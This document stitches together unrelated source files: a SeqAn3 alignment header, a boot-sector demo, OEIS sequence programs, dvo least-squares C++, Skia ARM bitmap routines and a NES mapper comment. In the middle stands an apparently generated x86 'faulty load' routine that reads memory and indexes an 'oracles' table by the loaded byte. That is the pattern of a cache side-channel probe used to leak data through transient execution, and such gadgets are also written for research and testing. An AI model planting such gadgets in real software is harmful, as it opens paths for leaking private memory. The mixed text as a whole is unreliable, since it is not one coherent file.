// ----------------------------------------------------------------------------------------------------- // Copyright (c) 2006-2020, Knut Reinert & Freie Universität Berlin // Copyright (c) 2016-2020, Knut Reinert & MPI für molekulare Genetik // This file may be used, modified and/or redistributed under the terms of the 3-clause BSD-License // shipped with this file and also available at: https://github.com/seqan/seqan3/blob/master/LICENSE.md // ----------------------------------------------------------------------------------------------------- /*!\file * \brief Provides global and local alignment configurations. * \author Joshua Kim <joshua.kim AT fu-berlin.de> * \author Rene Rahn <rene.rahn AT fu-berlin.de> * \author Jörg Winkler <j.winkler AT fu-berlin.de> * \author Wiep van der Toorn <w.vandertoorn AT fu-berlin.de> */ #pragma once #include <seqan3/alignment/configuration/detail.hpp> #include <seqan3/core/algorithm/pipeable_config_element.hpp> #include <seqan3/core/detail/empty_type.hpp> namespace seqan3::detail { //!\brief A strong type to select the global alignment method. //!\ingroup alignment_configuration struct method_global_tag : public pipeable_config_element<method_global_tag> { //!\privatesection //!\brief An internal id used to check for a valid alignment configuration. static constexpr detail::align_config_id id{detail::align_config_id::global}; }; //!\brief A strong type to select the local alignment method. //!\ingroup alignment_configuration struct method_local_tag : public pipeable_config_element<method_local_tag> { //!\privatesection //!\brief An internal id used to check for a valid alignment configuration. static constexpr detail::align_config_id id{detail::align_config_id::local}; }; } // namespace seqan3::detail namespace seqan3::align_cfg { /*!\brief Sets the global alignment method. * \ingroup alignment_configuration * * \details * * The alignment algorithm can be categorised in different methods. For example, the * \ref seqan3::align_cfg::method_local "local" and the * \ref seqan3::align_cfg::method_global "global" alignment are two different methods, while the semi-global alignment * is a variation of the global alignment. This differentiation makes it possible to define a subset of configurations * that can work with a particular method. Since it is not possible to guess what the desired method for a user is, this * configuration must be provided for the alignment algorithm and cannot be defaulted. * * ### Example * * \include test/snippet/alignment/configuration/minimal_alignment_config.cpp */ inline constexpr seqan3::detail::method_global_tag method_global{}; /*!\brief Sets the local alignment method. * \ingroup alignment_configuration * \copydetails seqan3::align_cfg::method_global */ inline constexpr seqan3::detail::method_local_tag method_local{}; } // namespace seqan3::align_cfg
; ; A simple boot sector program that demonstrates addressing. ; mov ah, 0x0e ; int 10/ah = 0eh -> scrolling teletype BIOS routine ; First attempt mov al, the_secret int 0x10 ; Does this print an X? ; Second attempt mov al, [the_secret] int 0x10 ; Does this print an X? ; Third attempt mov bx, the_secret add bx, 0x7c00 mov al, [bx] int 0x10 ; Does this print an X? ; Fourth attempt mov al, [0x7c1d] int 0x10 ; Does this print an X? jmp $ ; Jump forever. the_secret: db "X" ; Padding and magic BIOS number. times 510-($-$$) db 0 dw 0xaa55
; A202050: Number of (n+2) X 8 binary arrays avoiding patterns 001 and 110 in rows and columns. ; 1392,5216,15760,41088,95984,205792,411696,777760,1400080,2418432,4030832,6511456,10232400,15689792,23534800,34610112,49992496,71042080,99459024,137348288,187293232,252438816,336585200,444292576,580998096,753145792,968330416,1235456160,1564911248,1968759424,2460949392,3057543296,3776965360,4640271840,5671443472,6897701632,8349849456,10062639200,12075167152,14431297440,17180116112,20376416896,24081220080,28362325984,33294904528,38962122432,45455809616,52877166400,61337513136,70959083936,81875866192,94234487616,108195152560,123932629408,141637290864,161516208992,183794306896,208715568960,236544311600,267566516512,302091228432,340452019456,383008522000,430148032512,482287188080,539873718112,603388273296,673346334080,750300200944,834841068768,927601187632,1029256112416,1140527043600,1262183261696,1395044657776,1539984362592,1697931476816,1869873904960,2056861295568,2260008090304,2480496684592,2719580702496,2978588388560,3258926119360,3562082037552,3889629811232,4243232521456,4624646680800,5035726385872,5478427606720,5954812616112,6467054561696,7017442184080,7608384683904,8242416741008,8922203688832,9650546847216,10430389016800,11264820138256,12157083119616 add $0,2 mov $1,$0 mov $2,$0 add $2,8 bin $2,$0 sub $1,$2 sub $2,$1 mov $0,$2 sub $0,1 mul $0,16
/** * This file is part of dvo. * * Copyright 2012 Christian Kerl <christian.kerl@in.tum.de> (Technical University of Munich) * For more information see <http://vision.in.tum.de/data/software/dvo>. * * dvo is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * dvo is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with dvo. If not, see <http://www.gnu.org/licenses/>. */ #include <dvo_core/least_squares.h> #include <Eigen/Cholesky> #include <Eigen/Eigenvalues> #include <Eigen/SVD> #include <dvo_core/math_sse.h> static const NumType normalizer = 1.0 / (255.0 * 255.0); static const NumType normalizer_inverse = 255.0 * 255.0; // ------ Normal Equations Cholesky ------ NormalEquationsLeastSquares::~NormalEquationsLeastSquares() { } void NormalEquationsLeastSquares::initialize(const size_t maxnum_constraints) { A.setZero(); A_opt.setZero(); b.setZero(); error = 0; this->num_constraints = 0; this->maxnum_constraints = maxnum_constraints; } void NormalEquationsLeastSquares::update(const Vector6& J, const NumType& res, const NumType& weight) { NumType factor = weight * normalizer; // what happens without the normalizer? nothing! A_opt.rankUpdate(J, factor); //MathSse<Sse::Enabled, NumType>::addOuterProduct(A, J, factor); //A += J * J.transpose() * factor; MathSse<Sse::Enabled, NumType>::add(b, J, -res * factor); // not much difference :( //b -= J * res * factor; error += res * res * factor; num_constraints += 1; } void NormalEquationsLeastSquares::combine(const NormalEquationsLeastSquares& other) { A_opt += other.A_opt; b += other.b; error += other.error; num_constraints += other.num_constraints; } void NormalEquationsLeastSquares::finish() { A_opt.toEigen(A); A /= (NumType) num_constraints; b /= (NumType) num_constraints; error /= (NumType) num_constraints; } void NormalEquationsLeastSquares::solve(Vector6& x) { x = A.ldlt().solve(b); } // ------ Normal Equations EVD ------ EvdLeastSquares::~EvdLeastSquares() { } void EvdLeastSquares::solve(Vector6& x) { // eigen value decomposition seems to be equivalent to SVD for our matrix A Eigen::SelfAdjointEigenSolver<Matrix6x6> eigensolver(A); Vector6 eigenvalues = eigensolver.eigenvalues(); Matrix6x6 eigenvectors = eigensolver.eigenvectors(); bool singular = false; //ROS_WARN_STREAM("eigenvalues: " << eigenvalues.transpose() << " error: " << error << " constraints: " << num_constraints); for(int i = 0; i < 6; ++i) { if(eigenvalues(i) < 0.05) { singular = true; throw std::exception(); } else { eigenvalues(i) = 1.0 / eigenvalues(i); } } x = eigenvectors * eigenvalues.asDiagonal() * eigenvectors.transpose() * b; //ROS_WARN_COND(singular, "some eigenvalues are singular!"); } // ------ SVD ------ SvdLeastSquares::~SvdLeastSquares() { } void SvdLeastSquares::initialize(const size_t maxnum_constraints) { J.resize(maxnum_constraints, Eigen::NoChange); residuals.resize(maxnum_constraints, Eigen::NoChange); current = 0; } void SvdLeastSquares::update(const Vector6& J, const NumType& res, const NumType& weight) { this->J.row(current) = J; this->residuals(current) = res; current += 1; } void SvdLeastSquares::finish() { J.conservativeResize(current, Eigen::NoChange); residuals.conservativeResize(current); } void SvdLeastSquares::solve(Vector6& x) { x = J.jacobiSvd(Eigen::ComputeThinU | Eigen::ComputeThinV).solve(residuals); } // ------ Precomputed Normal Equations Cholesky ------ PrecomputedNormalEquationsLeastSquares::~PrecomputedNormalEquationsLeastSquares() { } void PrecomputedNormalEquationsLeastSquares::initialize(const size_t maxnum_constraints) { hessian_.setZero(); jacobian_cache_.resize(Eigen::NoChange, maxnum_constraints); mask_ = cv::Mat1b::zeros(maxnum_constraints, 1); this->num_constraints = 0; this->maxnum_constraints = maxnum_constraints; } void PrecomputedNormalEquationsLeastSquares::reset() { A = hessian_; hessian_error_.setZero(); b.setZero(); error = 0; mask_ptr_ = mask_.ptr(); num_constraints = 0; } void PrecomputedNormalEquationsLeastSquares::next() { ++mask_ptr_; } void PrecomputedNormalEquationsLeastSquares::addConstraint(const size_t& idx, const Vector6& J) { //hessian_cache_.block<6, 6>(idx * 6, 0) = J * J.transpose() * normalizer; //hessian_cache_[idx] = J * J.transpose() * normalizer; //hessian_ += J * J.transpose() * normalizer; MathSse<Sse::Enabled, NumType>::addOuterProduct(hessian_, J, normalizer); jacobian_cache_.col(idx) = J * normalizer; mask_.at<uchar>(idx) = 1; } void PrecomputedNormalEquationsLeastSquares::ignoreConstraint(const size_t& idx) { if((*mask_ptr_) == 0) return; const Vector6& J = jacobian_cache_.col(idx); /** * J is already multiplied with normalizer, so it is: * * J' * J'.transpose() * normalizer * normalizer * * multiplying with normalizer_inverse gives: * * J' * J'.transpose() * normalizer * normalizer * normalizer_inverse * * resulting in: * * J' * J'.transpose() * normalizer */ hessian_error_ -= J * J.transpose() * normalizer_inverse; } bool PrecomputedNormalEquationsLeastSquares::setResidualForConstraint(const size_t& idx, const NumType& res, const NumType& weight) { if(*mask_ptr_ == 0) return false; //A += *hessian_cache_it_; b -= jacobian_cache_.col(idx) * res * weight; error += res * res * weight * normalizer; this->num_constraints +=1; return true; } void PrecomputedNormalEquationsLeastSquares::finish() { A += hessian_error_; A /= (double) num_constraints; b /= (double) num_constraints; error /= (double) num_constraints; } void PrecomputedNormalEquationsLeastSquares::solve(Vector6 & x) { x = A.ldlt().solve(b); }
; A124932: Triangle read by rows: T(n,k) = k*(k+1)*binomial(n,k)/2 (1 <= k <= n). ; Submitted by Christian Krause ; 1,2,3,3,9,6,4,18,24,10,5,30,60,50,15,6,45,120,150,90,21,7,63,210,350,315,147,28,8,84,336,700,840,588,224,36,9,108,504,1260,1890,1764,1008,324,45,10,135,720,2100,3780,4410,3360,1620,450,55,11,165,990,3300,6930,9702,9240,5940,2475,605,66,12,198,1320,4950,11880,19404,22176,17820,9900,3630,792,78,13,234,1716,7150,19305,36036,48048,46332,32175,15730,5148,1014,91,14,273,2184,10010,30030,63063,96096,108108,90090 mov $2,1 lpb $0 add $1,1 sub $0,$1 add $2,1 lpe bin $1,$0 mul $2,$1 mov $1,2 add $1,$0 mul $1,30 mul $1,$2 mov $0,$1 div $0,60
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r9 push %rax push %rbx push %rcx push %rsi lea addresses_WT_ht+0x5456, %rsi nop nop nop nop sub $54248, %rcx mov $0x6162636465666768, %r11 movq %r11, %xmm4 movups %xmm4, (%rsi) nop nop nop nop inc %rbx lea addresses_UC_ht+0x191a6, %r9 nop nop nop cmp %r14, %r14 movb $0x61, (%r9) nop nop nop add %rsi, %rsi lea addresses_A_ht+0x399e, %r9 nop nop nop nop nop sub %r11, %r11 movb $0x61, (%r9) nop nop nop xor %r9, %r9 lea addresses_WT_ht+0x18d16, %rax nop nop nop nop and %r14, %r14 mov $0x6162636465666768, %r9 movq %r9, %xmm2 vmovups %ymm2, (%rax) inc %rax lea addresses_UC_ht+0x1e266, %rcx nop add %r11, %r11 vmovups (%rcx), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %rbx nop add $16847, %r11 lea addresses_A_ht+0x3266, %rsi nop and %rbx, %rbx movb $0x61, (%rsi) nop sub $15186, %r14 pop %rsi pop %rcx pop %rbx pop %rax pop %r9 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r8 push %r9 push %rbx push %rcx push %rdi // Store lea addresses_WT+0x51a6, %r12 nop nop nop nop nop and %rdi, %rdi movw $0x5152, (%r12) nop nop nop and %r12, %r12 // Load lea addresses_A+0x14f66, %rdi cmp %rcx, %rcx mov (%rdi), %r9w nop nop nop nop nop add %r9, %r9 // Store lea addresses_RW+0x1d126, %r9 nop nop nop nop nop inc %rdi mov $0x5152535455565758, %r8 movq %r8, %xmm1 vmovups %ymm1, (%r9) nop nop add $64281, %r13 // Store lea addresses_UC+0x1fd2e, %r9 nop nop nop nop nop dec %rdi mov $0x5152535455565758, %rbx movq %rbx, (%r9) nop nop xor %r13, %r13 // Store lea addresses_US+0xaaa6, %r12 nop nop nop nop nop and $2814, %rbx mov $0x5152535455565758, %r13 movq %r13, %xmm4 vmovups %ymm4, (%r12) nop nop nop nop dec %rbx // Faulty Load lea addresses_RW+0x6a66, %r9 nop nop nop nop xor %r8, %r8 movntdqa (%r9), %xmm3 vpextrq $0, %xmm3, %rbx lea oracles, %r13 and $0xff, %rbx shlq $12, %rbx mov (%r13,%rbx,1), %rbx pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_RW', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT', 'size': 2, 'AVXalign': False}} {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_US', 'size': 32, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_RW', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': True, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 3, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': True}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}} {'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
/* * Copyright 2009 The Android Open Source Project * * Use of this source code is governed by a BSD-style license that can be * found in the LICENSE file. */ #include "SkBitmapProcState.h" #include "SkColorPriv.h" #include "SkPaint.h" #include "SkTypes.h" #include "SkUtils.h" #include "SkUtilsArm.h" #include "SkConvolver.h" #if !defined(SK_CPU_ARM64) && SK_ARM_ARCH >= 6 && !defined(SK_CPU_BENDIAN) void SI8_D16_nofilter_DX_arm( const SkBitmapProcState& s, const uint32_t* SK_RESTRICT xy, int count, uint16_t* SK_RESTRICT colors) SK_ATTRIBUTE_OPTIMIZE_O1; void SI8_D16_nofilter_DX_arm(const SkBitmapProcState& s, const uint32_t* SK_RESTRICT xy, int count, uint16_t* SK_RESTRICT colors) { SkASSERT(count > 0 && colors != NULL); SkASSERT(s.fInvType <= (SkMatrix::kTranslate_Mask | SkMatrix::kScale_Mask)); SkASSERT(SkPaint::kNone_FilterLevel == s.fFilterLevel); const uint16_t* SK_RESTRICT table = s.fBitmap->getColorTable()->lock16BitCache(); const uint8_t* SK_RESTRICT srcAddr = (const uint8_t*)s.fBitmap->getPixels(); // buffer is y32, x16, x16, x16, x16, x16 // bump srcAddr to the proper row, since we're told Y never changes SkASSERT((unsigned)xy[0] < (unsigned)s.fBitmap->height()); srcAddr = (const uint8_t*)((const char*)srcAddr + xy[0] * s.fBitmap->rowBytes()); uint8_t src; if (1 == s.fBitmap->width()) { src = srcAddr[0]; uint16_t dstValue = table[src]; sk_memset16(colors, dstValue, count); } else { int i; int count8 = count >> 3; const uint16_t* SK_RESTRICT xx = (const uint16_t*)(xy + 1); asm volatile ( "cmp %[count8], #0 \n\t" // compare loop counter with 0 "beq 2f \n\t" // if loop counter == 0, exit "1: \n\t" "ldmia %[xx]!, {r5, r7, r9, r11} \n\t" // load ptrs to pixels 0-7 "subs %[count8], %[count8], #1 \n\t" // decrement loop counter "uxth r4, r5 \n\t" // extract ptr 0 "mov r5, r5, lsr #16 \n\t" // extract ptr 1 "uxth r6, r7 \n\t" // extract ptr 2 "mov r7, r7, lsr #16 \n\t" // extract ptr 3 "ldrb r4, [%[srcAddr], r4] \n\t" // load pixel 0 from image "uxth r8, r9 \n\t" // extract ptr 4 "ldrb r5, [%[srcAddr], r5] \n\t" // load pixel 1 from image "mov r9, r9, lsr #16 \n\t" // extract ptr 5 "ldrb r6, [%[srcAddr], r6] \n\t" // load pixel 2 from image "uxth r10, r11 \n\t" // extract ptr 6 "ldrb r7, [%[srcAddr], r7] \n\t" // load pixel 3 from image "mov r11, r11, lsr #16 \n\t" // extract ptr 7 "ldrb r8, [%[srcAddr], r8] \n\t" // load pixel 4 from image "add r4, r4, r4 \n\t" // double pixel 0 for RGB565 lookup "ldrb r9, [%[srcAddr], r9] \n\t" // load pixel 5 from image "add r5, r5, r5 \n\t" // double pixel 1 for RGB565 lookup "ldrb r10, [%[srcAddr], r10] \n\t" // load pixel 6 from image "add r6, r6, r6 \n\t" // double pixel 2 for RGB565 lookup "ldrb r11, [%[srcAddr], r11] \n\t" // load pixel 7 from image "add r7, r7, r7 \n\t" // double pixel 3 for RGB565 lookup "ldrh r4, [%[table], r4] \n\t" // load pixel 0 RGB565 from colmap "add r8, r8, r8 \n\t" // double pixel 4 for RGB565 lookup "ldrh r5, [%[table], r5] \n\t" // load pixel 1 RGB565 from colmap "add r9, r9, r9 \n\t" // double pixel 5 for RGB565 lookup "ldrh r6, [%[table], r6] \n\t" // load pixel 2 RGB565 from colmap "add r10, r10, r10 \n\t" // double pixel 6 for RGB565 lookup "ldrh r7, [%[table], r7] \n\t" // load pixel 3 RGB565 from colmap "add r11, r11, r11 \n\t" // double pixel 7 for RGB565 lookup "ldrh r8, [%[table], r8] \n\t" // load pixel 4 RGB565 from colmap "ldrh r9, [%[table], r9] \n\t" // load pixel 5 RGB565 from colmap "ldrh r10, [%[table], r10] \n\t" // load pixel 6 RGB565 from colmap "ldrh r11, [%[table], r11] \n\t" // load pixel 7 RGB565 from colmap "pkhbt r5, r4, r5, lsl #16 \n\t" // pack pixels 0 and 1 "pkhbt r6, r6, r7, lsl #16 \n\t" // pack pixels 2 and 3 "pkhbt r8, r8, r9, lsl #16 \n\t" // pack pixels 4 and 5 "pkhbt r10, r10, r11, lsl #16 \n\t" // pack pixels 6 and 7 "stmia %[colors]!, {r5, r6, r8, r10} \n\t" // store last 8 pixels "bgt 1b \n\t" // loop if counter > 0 "2: \n\t" : [xx] "+r" (xx), [count8] "+r" (count8), [colors] "+r" (colors) : [table] "r" (table), [srcAddr] "r" (srcAddr) : "memory", "cc", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11" ); for (i = (count & 7); i > 0; --i) { src = srcAddr[*xx++]; *colors++ = table[src]; } } s.fBitmap->getColorTable()->unlock16BitCache(); } void SI8_opaque_D32_nofilter_DX_arm( const SkBitmapProcState& s, const uint32_t* SK_RESTRICT xy, int count, SkPMColor* SK_RESTRICT colors) SK_ATTRIBUTE_OPTIMIZE_O1; void SI8_opaque_D32_nofilter_DX_arm(const SkBitmapProcState& s, const uint32_t* SK_RESTRICT xy, int count, SkPMColor* SK_RESTRICT colors) { SkASSERT(count > 0 && colors != NULL); SkASSERT(s.fInvType <= (SkMatrix::kTranslate_Mask | SkMatrix::kScale_Mask)); SkASSERT(SkPaint::kNone_FilterLevel == s.fFilterLevel); const SkPMColor* SK_RESTRICT table = s.fBitmap->getColorTable()->lockColors(); const uint8_t* SK_RESTRICT srcAddr = (const uint8_t*)s.fBitmap->getPixels(); // buffer is y32, x16, x16, x16, x16, x16 // bump srcAddr to the proper row, since we're told Y never changes SkASSERT((unsigned)xy[0] < (unsigned)s.fBitmap->height()); srcAddr = (const uint8_t*)((const char*)srcAddr + xy[0] * s.fBitmap->rowBytes()); if (1 == s.fBitmap->width()) { uint8_t src = srcAddr[0]; SkPMColor dstValue = table[src]; sk_memset32(colors, dstValue, count); } else { const uint16_t* xx = (const uint16_t*)(xy + 1); asm volatile ( "subs %[count], %[count], #8 \n\t" // decrement count by 8, set flags "blt 2f \n\t" // if count < 0, branch to singles "1: \n\t" // eights loop "ldmia %[xx]!, {r5, r7, r9, r11} \n\t" // load ptrs to pixels 0-7 "uxth r4, r5 \n\t" // extract ptr 0 "mov r5, r5, lsr #16 \n\t" // extract ptr 1 "uxth r6, r7 \n\t" // extract ptr 2 "mov r7, r7, lsr #16 \n\t" // extract ptr 3 "ldrb r4, [%[srcAddr], r4] \n\t" // load pixel 0 from image "uxth r8, r9 \n\t" // extract ptr 4 "ldrb r5, [%[srcAddr], r5] \n\t" // load pixel 1 from image "mov r9, r9, lsr #16 \n\t" // extract ptr 5 "ldrb r6, [%[srcAddr], r6] \n\t" // load pixel 2 from image "uxth r10, r11 \n\t" // extract ptr 6 "ldrb r7, [%[srcAddr], r7] \n\t" // load pixel 3 from image "mov r11, r11, lsr #16 \n\t" // extract ptr 7 "ldrb r8, [%[srcAddr], r8] \n\t" // load pixel 4 from image "ldrb r9, [%[srcAddr], r9] \n\t" // load pixel 5 from image "ldrb r10, [%[srcAddr], r10] \n\t" // load pixel 6 from image "ldrb r11, [%[srcAddr], r11] \n\t" // load pixel 7 from image "ldr r4, [%[table], r4, lsl #2] \n\t" // load pixel 0 SkPMColor from colmap "ldr r5, [%[table], r5, lsl #2] \n\t" // load pixel 1 SkPMColor from colmap "ldr r6, [%[table], r6, lsl #2] \n\t" // load pixel 2 SkPMColor from colmap "ldr r7, [%[table], r7, lsl #2] \n\t" // load pixel 3 SkPMColor from colmap "ldr r8, [%[table], r8, lsl #2] \n\t" // load pixel 4 SkPMColor from colmap "ldr r9, [%[table], r9, lsl #2] \n\t" // load pixel 5 SkPMColor from colmap "ldr r10, [%[table], r10, lsl #2] \n\t" // load pixel 6 SkPMColor from colmap "ldr r11, [%[table], r11, lsl #2] \n\t" // load pixel 7 SkPMColor from colmap "subs %[count], %[count], #8 \n\t" // decrement loop counter "stmia %[colors]!, {r4-r11} \n\t" // store 8 pixels "bge 1b \n\t" // loop if counter >= 0 "2: \n\t" "adds %[count], %[count], #8 \n\t" // fix up counter, set flags "beq 4f \n\t" // if count == 0, branch to exit "3: \n\t" // singles loop "ldrh r4, [%[xx]], #2 \n\t" // load pixel ptr "subs %[count], %[count], #1 \n\t" // decrement loop counter "ldrb r5, [%[srcAddr], r4] \n\t" // load pixel from image "ldr r6, [%[table], r5, lsl #2] \n\t" // load SkPMColor from colmap "str r6, [%[colors]], #4 \n\t" // store pixel, update ptr "bne 3b \n\t" // loop if counter != 0 "4: \n\t" // exit : [xx] "+r" (xx), [count] "+r" (count), [colors] "+r" (colors) : [table] "r" (table), [srcAddr] "r" (srcAddr) : "memory", "cc", "r4", "r5", "r6", "r7", "r8", "r9", "r10", "r11" ); } s.fBitmap->getColorTable()->unlockColors(); } #endif // !defined(SK_CPU_ARM64) && SK_ARM_ARCH >= 6 && !defined(SK_CPU_BENDIAN) /////////////////////////////////////////////////////////////////////////////// /* If we replace a sampleproc, then we null-out the associated shaderproc, otherwise the shader won't even look at the matrix/sampler */ void SkBitmapProcState::platformProcs() { #if !defined(SK_CPU_ARM64) && SK_ARM_ARCH >= 6 && !defined(SK_CPU_BENDIAN) bool isOpaque = 256 == fAlphaScale; bool justDx = false; if (fInvType <= (SkMatrix::kTranslate_Mask | SkMatrix::kScale_Mask)) { justDx = true; } switch (fBitmap->colorType()) { case kIndex_8_SkColorType: if (justDx && SkPaint::kNone_FilterLevel == fFilterLevel) { #if 0 /* crashing on android device */ fSampleProc16 = SI8_D16_nofilter_DX_arm; fShaderProc16 = NULL; #endif if (isOpaque) { // this one is only very slighty faster than the C version fSampleProc32 = SI8_opaque_D32_nofilter_DX_arm; fShaderProc32 = NULL; } } break; default: break; } #endif } /////////////////////////////////////////////////////////////////////////////// extern void platformConvolutionProcs_arm_neon(SkConvolutionProcs* procs); void platformConvolutionProcs_arm(SkConvolutionProcs* procs) { } void SkBitmapProcState::platformConvolutionProcs(SkConvolutionProcs* procs) { SK_ARM_NEON_WRAP(platformConvolutionProcs_arm)(procs); }
; Color Dreams: (32-128)KB PRG-ROM + (16-128)KB CHR-ROM ; http://bootgod.dyndns.org:7777/search.php?keywords=11&kwtype=pcb ;------------------------------------------------------------------------------;
; A272263: a(n) = numerator of A000032(n) - 1/2^n. ; 1,1,11,31,111,351,1151,3711,12031,38911,125951,407551,1318911,4268031,13811711,44695551,144637951,468058111,1514668031,4901568511,15861809151,51329892351,166107021311,537533612031,1739495309311,5629125066751,18216231370751,58948963008511,190762851500031,617321555034111,1997694516068351,6464675252273151 mul $0,2 lpb $0,1 sub $0,2 add $1,3 add $3,1 add $3,$2 mov $4,$2 trn $2,3 add $2,$1 add $2,3 mul $2,2 sub $2,4 sub $4,5 add $3,$4 trn $3,2 mov $1,$3 sub $3,$3 lpe add $1,1
; A030191: Scaled Chebyshev U-polynomial evaluated at sqrt(5)/2. ; 1,5,20,75,275,1000,3625,13125,47500,171875,621875,2250000,8140625,29453125,106562500,385546875,1394921875,5046875000,18259765625,66064453125,239023437500,864794921875,3128857421875,11320312500000,40957275390625,148184814453125,536137695312500,1939764404296875,7018133544921875 mov $3,1 lpb $0 sub $0,1 sub $3,$2 add $2,$3 mul $3,5 lpe mul $3,2 add $3,10 add $1,$3 sub $1,12 div $1,2 add $1,1
